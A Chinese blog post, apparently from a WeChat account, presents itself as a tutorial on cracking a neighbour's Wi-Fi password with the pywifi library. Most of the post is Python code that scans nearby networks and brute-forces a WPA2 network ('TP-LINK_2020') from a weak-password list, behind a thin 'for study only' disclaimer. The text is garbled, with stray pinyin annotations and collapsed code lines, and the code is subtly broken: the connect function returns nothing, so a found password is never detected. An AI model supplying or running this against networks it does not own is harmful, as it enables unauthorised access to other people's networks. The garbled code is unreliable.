用 Python 破解老王家的 Wi-Fi 密碼,刺激!
本文利用pywifi 這個(gè)庫(kù)實(shí)驗(yàn)一下如何破解Wi-Fi 密碼,注意,先說(shuō)好,該方法僅可用來(lái)研究學(xué)習(xí)所用,不可以拿去干壞事。
1. pywifi 簡(jiǎn)介
pywifi是一個(gè)Python庫(kù),它提供了對(duì)無(wú)線網(wǎng)絡(luò)接口的控制,允許你掃描周圍的無(wú)線網(wǎng)絡(luò),以及連接到無(wú)線網(wǎng)絡(luò)。但請(qǐng)注意,這個(gè)庫(kù)并不意味著可以繞過(guò)網(wǎng)絡(luò)安全措施來(lái)非法連接網(wǎng)絡(luò)。
2. 環(huán)境配置
在開(kāi)始之前,你需要確保Python已經(jīng)安裝在你的計(jì)算機(jī)上,并且安裝了pywifi庫(kù)。你可以使用pip命令來(lái)安裝pywifi:
pip install pywifipip install comtypes
3. 掃描周圍的Wi-Fi網(wǎng)絡(luò)
接下來(lái),我們將展示如何使用pywifi來(lái)掃描周圍的Wi-Fi網(wǎng)絡(luò)。
from pywifi import PyWiFi, const, Profileimport time
def scan_wifi():wifi = PyWiFi()ifaces = wifi.interfaces()[0]ifaces.scan()time.sleep(1)results = ifaces.scan_results()
for network in results:print(f"SSID: {network.ssid}, 信號(hào)強(qiáng)度: {network.signal}")
scan_wifi()
這段代碼將列出你周圍所有Wi-Fi網(wǎng)絡(luò)的SSID(網(wǎng)絡(luò)名稱)和信號(hào)強(qiáng)度。

4. 連接到Wi-Fi網(wǎng)絡(luò)
把周圍所有的WIFI網(wǎng)絡(luò)掃出來(lái)后就可以逐個(gè)的去嘗試連接了。
先來(lái)封裝一個(gè)函數(shù)
def connect_wifi(ssid, password):wifi = PyWiFi()ifaces = wifi.interfaces()[0]ifaces.disconnect()time.sleep(1)assert ifaces.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
profile = Profile()profile.ssid = ssidprofile.auth = const.AUTH_ALG_OPENprofile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher = const.CIPHER_TYPE_CCMPprofile.key = password
ifaces.remove_all_network_profiles()tmp_profile = ifaces.add_network_profile(profile)
ifaces.connect(tmp_profile)time.sleep(2)
if ifaces.status() == const.IFACE_CONNECTED:print("連接成功")else:print("連接失敗")
connect_wifi('你的網(wǎng)絡(luò)名稱', '你的密碼')
這段代碼嘗試連接到一個(gè)指定的Wi-Fi網(wǎng)絡(luò)。請(qǐng)將'你的網(wǎng)絡(luò)名稱'和'你的密碼'替換為實(shí)際的網(wǎng)絡(luò)名稱和密碼。
注意在代碼示例中使用 sleep函數(shù) 主要是為了確保在執(zhí)行網(wǎng)絡(luò)操作(如掃描或連接)之間有足夠的時(shí)間讓硬件和操作系統(tǒng)處理這些請(qǐng)求。sleep會(huì)暫停當(dāng)前線程指定的時(shí)間(以秒為單位),這在網(wǎng)絡(luò)編程中尤其有用,因?yàn)樵S多網(wǎng)絡(luò)操作都不是立即完成的。
然后我們?cè)诰W(wǎng)上找一個(gè)弱口令庫(kù),用窮舉法進(jìn)行逐個(gè)去嘗試,這種方法又稱為暴力破解法
def try_pwd():print("****************** WIFI破解 ******************")# 密碼本路徑path = "pwd.txt"# 打開(kāi)文件file = open(path, "r")ssid = "TP-LINK_2020"while True:try:pwd = file.readline()# 去除密碼的末尾換行符pwd = pwd.strip('\n')bool = connect_wifi("TP-LINK_2020", pwd)if bool:print("[*] 密碼已破解:", pwd)print("[*] WiFi已自動(dòng)連接!!!")breakelse:# 跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)print(f"正在破解 SSID 為 {ssid} 的 WIFI密碼,當(dāng)前校驗(yàn)的密碼為:{pwd}")except:continue
try_pwd()

運(yùn)氣好的情況下,幾分鐘就破解了,如果WI-FI密碼設(shè)置不復(fù)雜,特別如果是純數(shù)字密碼,使用最短8位數(shù)字,最多也就1億種可能,這對(duì)于一臺(tái)計(jì)算機(jī)來(lái)說(shuō)不是什么難事,你睡一覺(jué)起來(lái)就跑完了。
所以,你家的WiFi密碼一定不要設(shè)置太簡(jiǎn)單了,最好是多種字符組合,防止被隔壁老王破解了。
完整代碼在公眾號(hào)后臺(tái)回復(fù)wifi獲取
推薦閱讀:
